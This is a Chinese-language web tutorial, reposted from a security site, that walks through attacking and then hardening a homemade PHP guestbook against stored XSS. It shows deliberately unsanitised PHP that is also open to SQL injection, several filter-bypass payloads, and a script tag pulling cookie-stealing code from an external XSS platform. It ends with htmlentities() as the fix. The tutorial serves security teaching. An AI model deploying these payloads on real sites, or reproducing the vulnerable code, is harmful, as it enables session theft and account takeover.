首頁 >運維 >安全 > 正文

一次存儲型XSS的攻防實戰

轉載2019-12-03 17:42:520518
phpStudy Linux 面板(小皮面板)

什么是存儲型XSS

它是通過對網頁注入可執行代碼且成功地被瀏覽器執行,達到攻擊的目的,一般是注入一段javascript腳本。在測試過程中,我們一般是使用:

<script>alert(1)</script>

通過這段js代碼,彈個框來證明存在xss漏洞。那么,可能新手就會問了,彈個框有什么用呢?

其實,彈框只是為了證明存在此漏洞。而此漏洞的利用方式由很多種。

比如,你可以使用xss平臺:

0f29abcb0ef8b6631c32c75d18abdd7.png

寫入一段平臺生成的xss腳本:

<script src=//xsspt.com/ZsgUBf></script>

當某人進入帶有這個腳本的頁面時,js腳本會獲取他的cookie并發往xss平臺。

你只需要登錄xss平臺等待即可,拿到cookie后,可以不需要密碼登錄他的賬號。

注意:本文的重點是一步一步以黑客的角度進行xss攻擊,再討論如何站在開發者的角度去一步一步防御xss攻擊。所以我會在本文中以開發的身份修正后端代碼,再以黑客的身份進行前端頁面的xss攻擊,這一點需要注意哦。

對于存儲型xss漏洞的表現形式,比較經典的是留言板。但是我們都是遵紀守法的好同學,不能對外面的網站進行測試,所以就花半個小時自己手擼一個留言板咯。

首先,應該有前端展示的頁面Message_Board.php和后端存儲數據的頁面addMessage.php

dd340fe4f0d84836614e548b0430943.png

前端代碼不是本文重點(感興趣的可以自行查看前端代碼),我們重點關注后端代碼addMessage.php:

<?php
	$nickname = @$_POST['nickname'];//昵稱
	$email = @$_POST['email'];//郵箱
	$content = @$_POST['content'];//留言內容
	$now_time = @$_POST['now_time'];//留言時間
	$ini= @parse_ini_file("config.ini");
    $con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]);	if($con){
		mysql_query("set names 'utf8'");//解決中文亂碼問題
		mysql_select_db($ini["dbname"]);
		$sql1 = "select count(*) from message_board";
		$result = mysql_query($sql1);
		$floor = mysql_fetch_row($result)[0] + 1;
		$sql = "insert into message_board values
($floor,\"$nickname\",\"$email\",\"$content\",\"$now_time\")";
		mysql_query($sql);
	}?>

可以看到,我們對傳入的四個參數完全沒有處理,而是直接存入數據庫中。

所以,只要我們這樣輸入:

eccc01dfd6e78c932ded3b7bbd82c15.png

提交之后,系統會自動刷新頁面出現彈框:

e0df2cc1a008b2baa6e2a9286eb03d1.png

點擊確定后,你會發現留言內容和留言者的部分都為空。

8cbf337e184fb5c36f922a1ce06d6b2.png

這是因為js腳本已經被解析了,這時我們按F12,打開瀏覽器的開發者工具,發現了js腳本。

8.jpg

那么,問題來了。

畢竟我們還有另外一個身份,開發者該如何防御呢?

0×00、來個最簡單的,只修改前端代碼

在input標簽里面加上maxlength屬性

<input type="text" name="nickname" placeholder="留言者昵稱" maxlength="10">

至于原理嘛,就是因為js腳本的形式為<script></script>長度為17,所以只要我們在前端對長度進行限制,就可以阻止黑客進行xss攻擊了。

可是!開發可沒這么好做!

我們是想做開發的黑客,所以還得自己搞自己。

作為攻擊者,我們同樣可以修改前端代碼,具體的操作是使用瀏覽器的F12(開發者工具)

9.jpg

可以看到,我們可以直接進行長度的修改。

另外,還可以用抓包的方法,在包里面直接寫,也是不受長度限制的。

0×01、對關鍵字script進行過濾

作為開發者,你很容易發現,要想進行xss攻擊,必須插入一段js腳本,而js腳本的特征是很明顯的,腳本中包含script關鍵字,那么我們只需要進行script過濾即可。

回到之前的代碼。

為方便說明,我只取nickname參數,其實傳入的四個參數需要做同樣的處理。

$nickname = str_replace("script", "", @$_POST['nickname']);//昵稱

上面這個str_replace()函數的意思是把script替換為空。

可以看到,script被替換為空,彈框失敗。

10.jpg

那么黑客該如何繼續進行攻擊呢?

答案是:大小寫繞過

<sCrIPt>alert(1)</ScripT>

5ab06447fe511961dfb712752a6b2a5.png

因為js是不區分大小寫的,所以我們的大小寫不影響腳本的執行。

成功彈框!

aa626e7887d96823133082d89bf6299.png

0×02、使用str_ireplace()函數進行不區分大小寫地過濾script關鍵字

作為一名優秀的開發,發現了問題當然要及時改正,不區分大小寫不就行了嘛。

后端代碼修正如下:

$nickname = str_ireplace("script", "", @$_POST['nickname']);//昵稱

str_ireplace()函數類似于上面的str_replace(),但是它不區分大小寫。

那么,黑客該如何繞過?

答案是:雙寫script

<Sscriptcript>alert(1)</Sscriptcript>

d13fc9cca642e466de8a5946df0e9a0.png

原理就是str_ireplace()函數只找出了中間的script關鍵字,前面的S和后面的cript組合在一起,構成了新的Script關鍵字。

彈框成功!

b2c80a7f5749ddbbbcb405efc494cc0.png

0×03、使用preg_replace()函數進行正則表達式過濾script關鍵字

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵稱

顯然,彈框失敗。

11.jpg

攻擊者如何再一次繞過?

答案是:用img標簽的oneerror屬性

<img src=x onerror=alert(1)>

0×04、過濾alert關鍵字

看到這里,不知道你煩了沒有,以開發的角度來講,我都有點煩。大黑闊你不是喜歡彈窗么?我過濾alert關鍵字看你怎么彈!

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵稱
$nickname = preg_replace( "(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $nickname);//昵稱

那么,攻擊者該怎么辦呢?

答案是:編碼繞過

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#49;&#41;>a</a>

當點擊頁面上的超鏈接時,會彈框。

12.jpg

但是為什么呢?

這種編碼方式為字符編碼

字符編碼:十進制、十六進制ASCII碼或unicode 字符編碼,樣式為“&#數值;”, 例如“j”可以編碼為“&#106;”或“&#x6a; ”

上述代碼解碼之后如下:

<a href=javascript:alert(1)>a</a>

你能明顯感覺到限制:由于使用到了a標簽,所以只有點擊時,才會彈框。

作為一個大黑闊,我們當然是不滿意的,能不能讓所有進入這個頁面的人都彈框?

當然可以了:用iframe標簽編碼

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;
&#41;>

這種寫法,同樣既沒有script關鍵字,又沒有alert關鍵字。

4d16afd83acdb92b07ad5399d502af1.png

可以看到彈框成功!

5ba7af0d4bfa70a4e75f74d96b3ade2.png

可是你也能看到,由于使用了iframe標簽,留言板的樣式已經變形了。實戰中盡量不要用。

0×05、過濾特殊字符

優秀的開發,永不認輸!你個小小的黑闊,不就是會插入js代碼么?我過濾特殊字符,看你代碼咋被解析?

可是我不想手擼代碼來列舉那么多特殊字符怎么辦?

php給我們提供了htmlentities()函數:

$nickname = htmlentities(@$_POST['nickname']);//昵稱

htmlentities()函數的作用是把字符轉換為 HTML 實體。

7d8aa122e7c3676c9dd6f2931e8eee5.png

看到這里,你可能還是不明白HTML字符實體是什么。我舉個例子吧,當你想在HTML頁面上顯示一個小于號(<)時,瀏覽器會認為這是標簽的一部分(因為所有標簽都由大于號,標簽名和小于號構成),因此,為了能在頁面上顯示這個小于號(<),我們引入了HTML字符實體的概念,能夠在頁面上顯示類似于小于號(<)這樣的特殊符號,而不會影響到頁面標簽的解析。

可以看到,我們輸入的內容全部顯示在頁面上了。

13.jpg

可是卻沒有彈框。

我們鼠標右鍵,查看網頁源代碼

3ed483569df8bc317cd599553db6cae.png

際上,我們輸入的內容已經變成了HTML實體:

&lt;iframe src=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;
&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;&gt;

無法被解析為js腳本。

黑客在當前場景下已經無法攻擊了(在某些其他場景,即使使用了htmlentities()函數,仍然是可以攻擊的,這就不在本文討論范圍之內了)

0×06、總結

開發者不應該只考慮關鍵字的過濾,還應該考慮特殊符號的過濾 。

黑客在面對未知的情況時,要不斷嘗試,這對于知識的儲備量有較高的要求。

對于xss攻擊,站在開發者角度來講,僅僅用一個htmlentities()函數基本可以做到防御,可是一個優秀的開發者應該明白它的原理。站在黑客的角度來講,面對環境的逐步變化,條件的逐步限制,攻擊思路靈活變化是對整個職業生涯有益的。

相關文章教程推薦:web服務器安全

以上就是一次存儲型XSS的攻防實戰的詳細內容,更多請關注php中文網其它相關文章!

php中文網最新課程二維碼
  • 相關標簽:存儲型 XSS 攻防 實戰
  • 本文轉載于:freebuf,如有侵犯,請聯系[email protected]刪除
  • 相關文章

    相關視頻


    網友評論

    文明上網理性發言,請遵守 新聞評論服務協議

    我要評論
  • 專題推薦

    推薦視頻教程
  • JavaScript核心編程視頻教程JavaScript核心編程視頻教程
  • JavaScript深入視頻教程JavaScript深入視頻教程
  • JavaScript極速入門_玉女心經系列JavaScript極速入門_玉女心經系列
  • JavaScript極速入門JavaScript極速入門
  • 視頻教程分類
    118期四肖中特唯一